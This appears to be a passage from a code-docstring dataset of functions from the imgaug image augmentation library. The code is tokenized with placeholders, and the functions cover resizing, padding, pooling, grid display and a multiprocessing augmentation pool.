2 RGB images of height and width 16 to images of height 16 and width 32.\n\n>>> imresize_many_images(np.zeros((2, 16, 16, 3), dtype=np.uint8), (2.0, 4.0))\n\nConverts 2 RGB images of height and width 16 to images of height 32 and width 64.", "id": "f16269:m33"}
{"signature": "def imresize_single_image(image, sizes, interpolation=None):", "body": "grayscale = False<EOL>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>grayscale = True<EOL>image = image[:, :, np.newaxis]<EOL><DEDENT>do_assert(len(image.shape) == <NUM_LIT:3>, image.shape)<EOL>rs = imresize_many_images(image[np.newaxis, :, :, :], sizes, interpolation=interpolation)<EOL>if grayscale:<EOL><INDENT>return np.squeeze(rs[<NUM_LIT:0>, :, :, <NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>return rs[<NUM_LIT:0>, ...]<EOL><DEDENT>", "docstring": "Resizes a single image.\n\n\ndtype support::\n\n    See :func:`imgaug.imgaug.imresize_many_images`.\n\nParameters\n----------\nimage : (H,W,C) ndarray or (H,W) ndarray\n    Array of the image to resize.\n    Usually recommended to be of dtype uint8.\n\nsizes : float or iterable of int or iterable of float\n    See :func:`imgaug.imgaug.imresize_many_images`.\n\ninterpolation : None or str or int, optional\n    See :func:`imgaug.imgaug.imresize_many_images`.\n\nReturns\n-------\nout : (H',W',C) ndarray or (H',W') ndarray\n    The resized image.", "id": "f16269:m34"}
{"signature": "def pad(arr, top=<NUM_LIT:0>, right=<NUM_LIT:0>, bottom=<NUM_LIT:0>, left=<NUM_LIT:0>, mode=\"<STR_LIT>\", cval=<NUM_LIT:0>):", "body": "do_assert(arr.ndim in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>do_assert(top >= <NUM_LIT:0>)<EOL>do_assert(right >= <NUM_LIT:0>)<EOL>do_assert(bottom >= <NUM_LIT:0>)<EOL>do_assert(left >= <NUM_LIT:0>)<EOL>if top > <NUM_LIT:0> or right > <NUM_LIT:0> or bottom > <NUM_LIT:0> or left > <NUM_LIT:0>:<EOL><INDENT>mapping_mode_np_to_cv2 = {<EOL>\"<STR_LIT>\": cv2.BORDER_CONSTANT,<EOL>\"<STR_LIT>\": cv2.BORDER_REPLICATE,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": cv2.BORDER_REFLECT_101,<EOL>\"<STR_LIT>\": cv2.BORDER_REFLECT,<EOL>\"<STR_LIT>\": None,<EOL>cv2.BORDER_CONSTANT: cv2.BORDER_CONSTANT,<EOL>cv2.BORDER_REPLICATE: cv2.BORDER_REPLICATE,<EOL>cv2.BORDER_REFLECT_101: cv2.BORDER_REFLECT_101,<EOL>cv2.BORDER_REFLECT: cv2.BORDER_REFLECT<EOL>}<EOL>bad_mode_cv2 = mapping_mode_np_to_cv2.get(mode, None) is None<EOL>bad_datatype_cv2 = arr.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"]<EOL>if not bad_datatype_cv2 and not bad_mode_cv2:<EOL><INDENT>cval = float(cval) if arr.dtype.kind == \"<STR_LIT:f>\" else int(cval)  <EOL>if arr.ndim == <NUM_LIT:2> or arr.shape[<NUM_LIT:2>] <= <NUM_LIT:4>:<EOL><INDENT>if arr.ndim == <NUM_LIT:3>:<EOL><INDENT>cval = tuple([cval] * arr.shape[<NUM_LIT:2>])<EOL><DEDENT>arr_pad = cv2.copyMakeBorder(arr, top=top, bottom=bottom, left=left, right=right,<EOL>borderType=mapping_mode_np_to_cv2[mode], value=cval)<EOL>if arr.ndim == <NUM_LIT:3> and arr_pad.ndim == <NUM_LIT:2>:<EOL><INDENT>arr_pad = arr_pad[..., np.newaxis]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result = []<EOL>channel_start_idx = <NUM_LIT:0><EOL>while channel_start_idx < arr.shape[<NUM_LIT:2>]:<EOL><INDENT>arr_c = arr[..., channel_start_idx:channel_start_idx+<NUM_LIT:4>]<EOL>cval_c = tuple([cval] * arr_c.shape[<NUM_LIT:2>])<EOL>arr_pad_c = cv2.copyMakeBorder(arr_c, top=top, bottom=bottom, left=left, right=right,<EOL>borderType=mapping_mode_np_to_cv2[mode], value=cval_c)<EOL>arr_pad_c = np.atleast_3d(arr_pad_c)<EOL>result.append(arr_pad_c)<EOL>channel_start_idx += <NUM_LIT:4><EOL><DEDENT>arr_pad = np.concatenate(result, axis=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>paddings_np = [(top, bottom), (left, right)]  <EOL>if arr.ndim == <NUM_LIT:3>:<EOL><INDENT>paddings_np.append((<NUM_LIT:0>, <NUM_LIT:0>))  <EOL><DEDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>arr_pad = np.pad(arr, paddings_np, mode=mode, constant_values=cval)<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>arr_pad = np.pad(arr, paddings_np, mode=mode, end_values=cval)<EOL><DEDENT>else:<EOL><INDENT>arr_pad = np.pad(arr, paddings_np, mode=mode)<EOL><DEDENT><DEDENT>return arr_pad<EOL><DEDENT>return np.copy(arr)<EOL>", "docstring": "Pad an image-like array on its top/right/bottom/left side.\n\nThis function is a wrapper around :func:`numpy.pad`.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested (1)\n    * ``uint16``: yes; fully tested (1)\n    * ``uint32``: yes; fully tested (2) (3)\n    * ``uint64``: yes; fully tested (2) (3)\n    * ``int8``: yes; fully tested (1)\n    * ``int16``: yes; fully tested (1)\n    * ``int32``: yes; fully tested (1)\n    * ``int64``: yes; fully tested (2) (3)\n    * ``float16``: yes; fully tested (2) (3)\n    * ``float32``: yes; fully tested (1)\n    * ``float64``: yes; fully tested (1)\n    * ``float128``: yes; fully tested (2) (3)\n    * ``bool``: yes; tested (2) (3)\n\n    - (1) Uses ``cv2`` if `mode` is one of: ``\"constant\"``, ``\"edge\"``, ``\"reflect\"``, ``\"symmetric\"``.\n          Otherwise uses ``numpy``.\n    - (2) Uses ``numpy``.\n    - (3) Rejected by ``cv2``.\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array to pad.\n\ntop : int, optional\n    Amount of pixels to add at the top side of the image. Must be 0 or greater.\n\nright : int, optional\n    Amount of pixels to add at the right side of the image. Must be 0 or greater.\n\nbottom : int, optional\n    Amount of pixels to add at the bottom side of the image. Must be 0 or greater.\n\nleft : int, optional\n    Amount of pixels to add at the left side of the image. Must be 0 or greater.\n\nmode : str, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n    In case of mode ``constant``, the parameter `cval` will be used as the ``constant_values``\n    parameter to :func:`numpy.pad`.\n    In case of mode ``linear_ramp``, the parameter `cval` will be used as the ``end_values``\n    parameter to :func:`numpy.pad`.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n    The cval is expected to match the input array's dtype and value range.\n\nReturns\n-------\narr_pad : (H',W') ndarray or (H',W',C) ndarray\n    Padded array with height ``H'=H+top+bottom`` and width ``W'=W+left+right``.", "id": "f16269:m35"}
{"signature": "def compute_paddings_for_aspect_ratio(arr, aspect_ratio):", "body": "do_assert(arr.ndim in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>do_assert(aspect_ratio > <NUM_LIT:0>)<EOL>height, width = arr.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>do_assert(height > <NUM_LIT:0>)<EOL>aspect_ratio_current = width / height<EOL>pad_top = <NUM_LIT:0><EOL>pad_right = <NUM_LIT:0><EOL>pad_bottom = <NUM_LIT:0><EOL>pad_left = <NUM_LIT:0><EOL>if aspect_ratio_current < aspect_ratio:<EOL><INDENT>diff = (aspect_ratio * height) - width<EOL>pad_right = int(np.ceil(diff / <NUM_LIT:2>))<EOL>pad_left = int(np.floor(diff / <NUM_LIT:2>))<EOL><DEDENT>elif aspect_ratio_current > aspect_ratio:<EOL><INDENT>diff = ((<NUM_LIT:1>/aspect_ratio) * width) - height<EOL>pad_top = int(np.floor(diff / <NUM_LIT:2>))<EOL>pad_bottom = int(np.ceil(diff / <NUM_LIT:2>))<EOL><DEDENT>return pad_top, pad_right, pad_bottom, pad_left<EOL>", "docstring": "Compute the amount of pixels by which an array has to be padded to fulfill an aspect ratio.\n\nThe aspect ratio is given as width/height.\nDepending on which dimension is smaller (height or width), only the corresponding\nsides (left/right or top/bottom) will be padded. In each case, both of the sides will\nbe padded equally.\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array for which to compute pad amounts.\n\naspect_ratio : float\n    Target aspect ratio, given as width/height. E.g. 2.0 denotes the image having twice\n    as much width as height.\n\nReturns\n-------\nresult : tuple of int\n    Required paddign amounts to reach the target aspect ratio, given as a tuple\n    of the form ``(top, right, bottom, left)``.", "id": "f16269:m36"}
{"signature": "def pad_to_aspect_ratio(arr, aspect_ratio, mode=\"<STR_LIT>\", cval=<NUM_LIT:0>, return_pad_amounts=False):", "body": "pad_top, pad_right, pad_bottom, pad_left = compute_paddings_for_aspect_ratio(arr, aspect_ratio)<EOL>arr_padded = pad(<EOL>arr,<EOL>top=pad_top,<EOL>right=pad_right,<EOL>bottom=pad_bottom,<EOL>left=pad_left,<EOL>mode=mode,<EOL>cval=cval<EOL>)<EOL>if return_pad_amounts:<EOL><INDENT>return arr_padded, (pad_top, pad_right, pad_bottom, pad_left)<EOL><DEDENT>else:<EOL><INDENT>return arr_padded<EOL><DEDENT>", "docstring": "Pad an image-like array on its sides so that it matches a target aspect ratio.\n\nDepending on which dimension is smaller (height or width), only the corresponding\nsides (left/right or top/bottom) will be padded. In each case, both of the sides will\nbe padded equally.\n\ndtype support::\n\n    See :func:`imgaug.imgaug.pad`.\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array to pad.\n\naspect_ratio : float\n    Target aspect ratio, given as width/height. E.g. 2.0 denotes the image having twice\n    as much width as height.\n\nmode : str, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n\nreturn_pad_amounts : bool, optional\n    If False, then only the padded image will be returned. If True, a tuple with two\n    entries will be returned, where the first entry is the padded image and the second\n    entry are the amounts by which each image side was padded. These amounts are again a\n    tuple of the form (top, right, bottom, left), with each value being an integer.\n\nReturns\n-------\narr_padded : (H',W') ndarray or (H',W',C) ndarray\n    Padded image as (H',W') or (H',W',C) ndarray, fulfulling the given aspect_ratio.\n\ntuple of int\n    Amounts by which the image was padded on each side, given as a tuple ``(top, right, bottom, left)``.\n    This tuple is only returned if `return_pad_amounts` was set to True.\n    Otherwise only ``arr_padded`` is returned.", "id": "f16269:m37"}
{"signature": "def pool(arr, block_size, func, cval=<NUM_LIT:0>, preserve_dtype=True):", "body": "<EOL>from . import dtypes as iadt<EOL>iadt.gate_dtypes(arr,<EOL>allowed=[\"<STR_LIT:bool>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"],<EOL>augmenter=None)<EOL>do_assert(arr.ndim in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>is_valid_int = is_single_integer(block_size) and block_size >= <NUM_LIT:1><EOL>is_valid_tuple = is_iterable(block_size) and len(block_size) in [<NUM_LIT:2>, <NUM_LIT:3>]and [is_single_integer(val) and val >= <NUM_LIT:1> for val in block_size]<EOL>do_assert(is_valid_int or is_valid_tuple)<EOL>if is_single_integer(block_size):<EOL><INDENT>block_size = [block_size, block_size]<EOL><DEDENT>if len(block_size) < arr.ndim:<EOL><INDENT>block_size = list(block_size) + [<NUM_LIT:1>]<EOL><DEDENT>input_dtype = arr.dtype<EOL>arr_reduced = skimage.measure.block_reduce(arr, tuple(block_size), func, cval=cval)<EOL>if preserve_dtype and arr_reduced.dtype.type != input_dtype:<EOL><INDENT>arr_reduced = arr_reduced.astype(input_dtype)<EOL><DEDENT>return arr_reduced<EOL>", "docstring": "Resize an array by pooling values within blocks.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; tested\n    * ``uint32``: yes; tested (2)\n    * ``uint64``: no (1)\n    * ``int8``: yes; tested\n    * ``int16``: yes; tested\n    * ``int32``: yes; tested (2)\n    * ``int64``: no (1)\n    * ``float16``: yes; tested\n    * ``float32``: yes; tested\n    * ``float64``: yes; tested\n    * ``float128``: yes; tested (2)\n    * ``bool``: yes; tested\n\n    - (1) results too inaccurate (at least when using np.average as func)\n    - (2) Note that scikit-image documentation says that the wrapped pooling function converts\n          inputs to float64. Actual tests showed no indication of that happening (at least when\n          using preserve_dtype=True).\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array to pool. Ideally of datatype ``numpy.float64``.\n\nblock_size : int or tuple of int\n    Spatial size of each group of values to pool, aka kernel size.\n    If a single integer, then a symmetric block of that size along height and width will be used.\n    If a tuple of two values, it is assumed to be the block size along height and width of the image-like,\n    with pooling happening per channel.\n    If a tuple of three values, it is assumed to be the block size along height, width and channels.\n\nfunc : callable\n    Function to apply to a given block in order to convert it to a single number,\n    e.g. :func:`numpy.average`, :func:`numpy.min`, :func:`numpy.max`.\n\ncval : number, optional\n    Value to use in order to pad the array along its border if the array cannot be divided\n    by `block_size` without remainder.\n\npreserve_dtype : bool, optional\n    Whether to convert the array back to the input datatype if it is changed away from\n    that in the pooling process.\n\nReturns\n-------\narr_reduced : (H',W') ndarray or (H',W',C') ndarray\n    Array after pooling.", "id": "f16269:m38"}
{"signature": "def avg_pool(arr, block_size, cval=<NUM_LIT:0>, preserve_dtype=True):", "body": "return pool(arr, block_size, np.average, cval=cval, preserve_dtype=preserve_dtype)<EOL>", "docstring": "Resize an array using average pooling.\n\ndtype support::\n\n    See :func:`imgaug.imgaug.pool`.\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array to pool. See :func:`imgaug.pool` for details.\n\nblock_size : int or tuple of int or tuple of int\n    Size of each block of values to pool. See :func:`imgaug.pool` for details.\n\ncval : number, optional\n    Padding value. See :func:`imgaug.pool` for details.\n\npreserve_dtype : bool, optional\n    Whether to preserve the input array dtype. See :func:`imgaug.pool` for details.\n\nReturns\n-------\narr_reduced : (H',W') ndarray or (H',W',C') ndarray\n    Array after average pooling.", "id": "f16269:m39"}
{"signature": "def max_pool(arr, block_size, cval=<NUM_LIT:0>, preserve_dtype=True):", "body": "return pool(arr, block_size, np.max, cval=cval, preserve_dtype=preserve_dtype)<EOL>", "docstring": "Resize an array using max-pooling.\n\ndtype support::\n\n    See :func:`imgaug.imgaug.pool`.\n\nParameters\n----------\narr : (H,W) ndarray or (H,W,C) ndarray\n    Image-like array to pool. See :func:`imgaug.pool` for details.\n\nblock_size : int or tuple of int or tuple of int\n    Size of each block of values to pool. See `imgaug.pool` for details.\n\ncval : number, optional\n    Padding value. See :func:`imgaug.pool` for details.\n\npreserve_dtype : bool, optional\n    Whether to preserve the input array dtype. See :func:`imgaug.pool` for details.\n\nReturns\n-------\narr_reduced : (H',W') ndarray or (H',W',C') ndarray\n    Array after max-pooling.", "id": "f16269:m40"}
{"signature": "def draw_grid(images, rows=None, cols=None):", "body": "nb_images = len(images)<EOL>do_assert(nb_images > <NUM_LIT:0>)<EOL>if is_np_array(images):<EOL><INDENT>do_assert(images.ndim == <NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>do_assert(is_iterable(images) and is_np_array(images[<NUM_LIT:0>]) and images[<NUM_LIT:0>].ndim == <NUM_LIT:3>)<EOL>dts = [image.dtype.name for image in images]<EOL>nb_dtypes = len(set(dts))<EOL>do_assert(nb_dtypes == <NUM_LIT:1>, (\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (nb_dtypes, \"<STR_LIT:U+002CU+0020>\".join(dts)))<EOL><DEDENT>cell_height = max([image.shape[<NUM_LIT:0>] for image in images])<EOL>cell_width = max([image.shape[<NUM_LIT:1>] for image in images])<EOL>channels = set([image.shape[<NUM_LIT:2>] for image in images])<EOL>do_assert(<EOL>len(channels) == <NUM_LIT:1>,<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (str(channels), len(channels))<EOL>)<EOL>nb_channels = list(channels)[<NUM_LIT:0>]<EOL>if rows is None and cols is None:<EOL><INDENT>rows = cols = int(math.ceil(math.sqrt(nb_images)))<EOL><DEDENT>elif rows is not None:<EOL><INDENT>cols = int(math.ceil(nb_images / rows))<EOL><DEDENT>elif cols is not None:<EOL><INDENT>rows = int(math.ceil(nb_images / cols))<EOL><DEDENT>do_assert(rows * cols >= nb_images)<EOL>width = cell_width * cols<EOL>height = cell_height * rows<EOL>dt = images.dtype if is_np_array(images) else images[<NUM_LIT:0>].dtype<EOL>grid = np.zeros((height, width, nb_channels), dtype=dt)<EOL>cell_idx = <NUM_LIT:0><EOL>for row_idx in sm.xrange(rows):<EOL><INDENT>for col_idx in sm.xrange(cols):<EOL><INDENT>if cell_idx < nb_images:<EOL><INDENT>image = images[cell_idx]<EOL>cell_y1 = cell_height * row_idx<EOL>cell_y2 = cell_y1 + image.shape[<NUM_LIT:0>]<EOL>cell_x1 = cell_width * col_idx<EOL>cell_x2 = cell_x1 + image.shape[<NUM_LIT:1>]<EOL>grid[cell_y1:cell_y2, cell_x1:cell_x2, :] = image<EOL><DEDENT>cell_idx += <NUM_LIT:1><EOL><DEDENT><DEDENT>return grid<EOL>", "docstring": "Converts multiple input images into a single image showing them in a grid.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; fully tested\n    * ``uint32``: yes; fully tested\n    * ``uint64``: yes; fully tested\n    * ``int8``: yes; fully tested\n    * ``int16``: yes; fully tested\n    * ``int32``: yes; fully tested\n    * ``int64``: yes; fully tested\n    * ``float16``: yes; fully tested\n    * ``float32``: yes; fully tested\n    * ``float64``: yes; fully tested\n    * ``float128``: yes; fully tested\n    * ``bool``: yes; fully tested\n\nParameters\n----------\nimages : (N,H,W,3) ndarray or iterable of (H,W,3) array\n    The input images to convert to a grid.\n\nrows : None or int, optional\n    The number of rows to show in the grid.\n    If None, it will be automatically derived.\n\ncols : None or int, optional\n    The number of cols to show in the grid.\n    If None, it will be automatically derived.\n\nReturns\n-------\ngrid : (H',W',3) ndarray\n    Image of the generated grid.", "id": "f16269:m41"}
{"signature": "def show_grid(images, rows=None, cols=None):", "body": "grid = draw_grid(images, rows=rows, cols=cols)<EOL>imshow(grid)<EOL>", "docstring": "Converts the input images to a grid image and shows it in a new window.\n\ndtype support::\n\n    minimum of (\n        :func:`imgaug.imgaug.draw_grid`,\n        :func:`imgaug.imgaug.imshow`\n    )\n\nParameters\n----------\nimages : (N,H,W,3) ndarray or iterable of (H,W,3) array\n    See :func:`imgaug.draw_grid`.\n\nrows : None or int, optional\n    See :func:`imgaug.draw_grid`.\n\ncols : None or int, optional\n    See :func:`imgaug.draw_grid`.", "id": "f16269:m42"}
{"signature": "def imshow(image, backend=IMSHOW_BACKEND_DEFAULT):", "body": "do_assert(backend in [\"<STR_LIT>\", \"<STR_LIT>\"], \"<STR_LIT>\" % (backend,))<EOL>if backend == \"<STR_LIT>\":<EOL><INDENT>image_bgr = image<EOL>if image.ndim == <NUM_LIT:3> and image.shape[<NUM_LIT:2>] in [<NUM_LIT:3>, <NUM_LIT:4>]:<EOL><INDENT>image_bgr = image[..., <NUM_LIT:0>:<NUM_LIT:3>][..., ::-<NUM_LIT:1>]<EOL><DEDENT>win_name = \"<STR_LIT>\"<EOL>cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)<EOL>cv2.imshow(win_name, image_bgr)<EOL>cv2.waitKey(<NUM_LIT:0>)<EOL>cv2.destroyWindow(win_name)<EOL><DEDENT>else:<EOL><INDENT>import matplotlib.pyplot as plt<EOL>dpi = <NUM_LIT><EOL>h, w = image.shape[<NUM_LIT:0>] / dpi, image.shape[<NUM_LIT:1>] / dpi<EOL>w = max(w, <NUM_LIT:6>)  <EOL>fig, ax = plt.subplots(figsize=(w, h), dpi=dpi)<EOL>fig.canvas.set_window_title(\"<STR_LIT>\" % (image.shape,))<EOL>ax.imshow(image, cmap=\"<STR_LIT>\")  <EOL>plt.show()<EOL><DEDENT>", "docstring": "Shows an image in a window.\n\ndtype support::\n\n    * ``uint8``: yes; not tested\n    * ``uint16``: ?\n    * ``uint32``: ?\n    * ``uint64``: ?\n    * ``int8``: ?\n    * ``int16``: ?\n    * ``int32``: ?\n    * ``int64``: ?\n    * ``float16``: ?\n    * ``float32``: ?\n    * ``float64``: ?\n    * ``float128``: ?\n    * ``bool``: ?\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    Image to show.\n\nbackend : {'matplotlib', 'cv2'}, optional\n    Library to use to show the image. May be either matplotlib or OpenCV ('cv2').\n    OpenCV tends to be faster, but apparently causes more technical issues.", "id": "f16269:m43"}
{"signature": "def do_assert(condition, message=\"<STR_LIT>\"):", "body": "if not condition:<EOL><INDENT>raise AssertionError(str(message))<EOL><DEDENT>", "docstring": "Function that behaves equally to an `assert` statement, but raises an\nException.\n\nThis is added because `assert` statements are removed in optimized code.\nIt replaces `assert` statements throughout the library that should be\nkept even in optimized code.\n\nParameters\n----------\ncondition : bool\n    If False, an exception is raised.\n\nmessage : str, optional\n    Error message.", "id": "f16269:m44"}
{"signature": "def warn_deprecated(msg, stacklevel=<NUM_LIT:2>):", "body": "import warnings<EOL>warnings.warn(msg,<EOL>category=DeprecationWarning,<EOL>stacklevel=stacklevel)<EOL>", "docstring": "Generate a non-silent deprecation warning with stacktrace.\n\n    The used warning is ``imgaug.imgaug.DeprecationWarning``.\n\n    Parameters\n    ----------\n    msg : str\n        The message of the warning.\n\n    stacklevel : int, optional\n        How many steps above this function to \"jump\" in the stacktrace for\n        the displayed file and line number of the error message.\n        Usually 2.", "id": "f16269:m45"}
{"signature": "def is_activated(self, images, augmenter, parents, default):", "body": "if self.activator is None:<EOL><INDENT>return default<EOL><DEDENT>else:<EOL><INDENT>return self.activator(images, augmenter, parents, default)<EOL><DEDENT>", "docstring": "Returns whether an augmenter may be executed.\n\nReturns\n-------\nbool\n    If True, the augmenter may be executed. If False, it may not be executed.", "id": "f16269:c0:m1"}
{"signature": "def is_propagating(self, images, augmenter, parents, default):", "body": "if self.propagator is None:<EOL><INDENT>return default<EOL><DEDENT>else:<EOL><INDENT>return self.propagator(images, augmenter, parents, default)<EOL><DEDENT>", "docstring": "Returns whether an augmenter may call its children to augment an\nimage. This is independent of the augmenter itself possible changing\nthe image, without calling its children. (Most (all?) augmenters with\nchildren currently dont perform any changes themselves.)\n\nReturns\n-------\nbool\n    If True, the augmenter may be propagate to its children. If False, it may not.", "id": "f16269:c0:m2"}
{"signature": "def preprocess(self, images, augmenter, parents):", "body": "if self.preprocessor is None:<EOL><INDENT>return images<EOL><DEDENT>else:<EOL><INDENT>return self.preprocessor(images, augmenter, parents)<EOL><DEDENT>", "docstring": "A function to be called before the augmentation of images starts (per augmenter).\n\nReturns\n-------\n(N,H,W,C) ndarray or (N,H,W) ndarray or list of (H,W,C) ndarray or list of (H,W) ndarray\n    The input images, optionally modified.", "id": "f16269:c0:m3"}
{"signature": "def postprocess(self, images, augmenter, parents):", "body": "if self.postprocessor is None:<EOL><INDENT>return images<EOL><DEDENT>else:<EOL><INDENT>return self.postprocessor(images, augmenter, parents)<EOL><DEDENT>", "docstring": "A function to be called after the augmentation of images was\nperformed.\n\nReturns\n-------\n(N,H,W,C) ndarray or (N,H,W) ndarray or list of (H,W,C) ndarray or list of (H,W) ndarray\n    The input images, optionally modified.", "id": "f16269:c0:m4"}
{"signature": "def __init__(self, augseq, processes=None, maxtasksperchild=None, seed=None):", "body": "<EOL>assert Pool._WORKER_AUGSEQ is None, \"<STR_LIT>\"\"<STR_LIT>\"<EOL>assert processes is None or processes != <NUM_LIT:0><EOL>self.augseq = augseq<EOL>self.processes = processes<EOL>self.maxtasksperchild = maxtasksperchild<EOL>self.seed = seed<EOL>if self.seed is not None:<EOL><INDENT>assert ia.SEED_MIN_VALUE <= self.seed <= ia.SEED_MAX_VALUE<EOL><DEDENT>self._pool = None<EOL>self._batch_idx = <NUM_LIT:0><EOL>", "docstring": "Initialize augmentation pool.\n\nParameters\n----------\naugseq : Augmenter\n    The augmentation sequence to apply to batches.\n\nprocesses : None or int, optional\n    The number of background workers, similar to the same parameter in multiprocessing.Pool.\n    If ``None``, the number of the machine's CPU cores will be used (this counts hyperthreads as CPU cores).\n    If this is set to a negative value ``p``, then ``P - abs(p)`` will be used, where ``P`` is the number\n    of CPU cores. E.g. ``-1`` would use all cores except one (this is useful to e.g. reserve one core to\n    feed batches to the GPU).\n\nmaxtasksperchild : None or int, optional\n    The number of tasks done per worker process before the process is killed and restarted, similar to the\n    same parameter in multiprocessing.Pool. If ``None``, worker processes will not be automatically restarted.\n\nseed : None or int, optional\n    The seed to use for child processes. If ``None``, a random seed will be used.", "id": "f16272:c0:m0"}
{"signature": "@property<EOL><INDENT>def pool(self):<DEDENT>", "body": "if self._pool is None:<EOL><INDENT>processes = self.processes<EOL>if processes is not None and processes < <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>processes = multiprocessing.cpu_count() - abs(processes)<EOL>processes = max(processes, <NUM_LIT:1>)<EOL><DEDENT>except (ImportError, NotImplementedError):<EOL><INDENT>processes = None<EOL><DEDENT><DEDENT>self._pool = multiprocessing.Pool(processes,<EOL>initializer=_Pool_initialize_worker,<EOL>initargs=(self.augseq, self.seed),<EOL>maxtasksperchild=self.maxtasksperchild)<EOL><DEDENT>return self._pool<EOL>", "docstring": "Return the multiprocessing.Pool instance or create it if not done yet.\n\n        Returns\n        -------\n        multiprocessing.Pool\n            The multiprocessing.Pool used internally by this imgaug.multicore.Pool.", "id": "f16272:c0:m1"}
{"signature": "def map_batches(self, batches, chunksize=None):", "body": "assert isinstance(batches, list), (\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batches),)<EOL>return self.pool.map(_Pool_starworker, self._handle_batch_ids(batches), chunksize=chunksize)<EOL>", "docstring": "Augment batches.\n\nParameters\n----------\nbatches : list of imgaug.augmentables.batches.Batch\n    The batches to augment.\n\nchunksize : None or int, optional\n    Rough indicator of how many tasks should be sent to each worker. Increasing this number can improve\n    performance.\n\nReturns\n-------\nlist of imgaug.augmentables.batches.Batch\n    Augmented batches.", "id": "f16272:c0:m2"}
{"signature": "def map_batches_async(self, batches, chunksize=None, callback=None, error_callback=None):", "body": "assert isinstance(batches, list), (\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batches),)<EOL>return self.pool.map_async(_Pool_starworker, self._handle_batch_ids(batches),<EOL>chunksize=chunksize, callback=callback, error_callback=error_callback)<EOL>", "docstring": "Augment batches asynchonously.\n\nParameters\n----------\nbatches : list of imgaug.augmentables.batches.Batch\n    The batches to augment.\n\nchunksize : None or int, optional\n    Rough indicator of how many tasks should be sent to each worker. Increasing this number can improve\n    performance.\n\ncallback : None or callable, optional\n    Function to call upon finish. See `multiprocessing.Pool`.\n\nerror_callback : None or callable, optional\n    Function to call upon errors. See `multiprocessing.Pool`.\n\nReturns\n-------\nmultiprocessing.MapResult\n    Asynchonous result. See `multiprocessing.Pool`.", "id": "f16272:c0:m3"}
{"signature": "def imap_batches(self, batches, chunksize=<NUM_LIT:1>):", "body": "assert ia.is_generator(batches), (\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batches),)<EOL>gen = self.pool.imap(_Pool_starworker, self._handle_batch_ids_gen(batches), chunksize=chunksize)<EOL>for batch in gen:<EOL><INDENT>yield batch<EOL><DEDENT>", "docstring": "Augment batches from a generator.\n\nParameters\n----------\nbatches : generator of imgaug.augmentables.batches.Batch\n    The batches to augment, provided as a generator. Each call to the generator should yield exactly one\n    batch.\n\nchunksize : None or int, optional\n    Rough indicator of how many tasks should be sent to each worker. Increasing this number can improve\n    performance.\n\nYields\n------\nimgaug.augmentables.batches.Batch\n    Augmented batch.", "id": "f16272:c0:m4"}
{"signature": "def imap_batches_unordered(self, batches, chunksize=<NUM_LIT:1>):", "body": "assert ia.is_generator(batches), (\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batches),)<EOL>gen = self.pool.imap_unordered(_Pool_starworker, self._handle_batch_ids_gen(batches), chunksize=chunksize)<EOL>for batch in gen:<EOL><INDENT>yield batch<EOL><DEDENT>", "docstring": "Augment batches from a generator in a way that does not guarantee to preserve order.\n\nParameters\n----------\nbatches : generator of imgaug.augmentables.batches.Batch\n    The batches to augment, provided as a generator. Each call to the generator should yield exactly one\n    batch.\n\nchunksize : None or int, optional\n    Rough indicator of how many tasks should be sent to each worker. Increasing this number can improve\n    performance.\n\nYields\n------\nimgaug.augmentables.batches.Batch\n    Augmented batch.", "id": "f16272:c0:m5"}
{"signature": "def close(self):", "body": "if self._pool is not None:<EOL><INDENT>self._pool.close()<EOL>self._pool.join()<EOL>self._pool = None<EOL><DEDENT>", "docstring": "Close the pool gracefully.", "id": "f16272:c0:m8"}
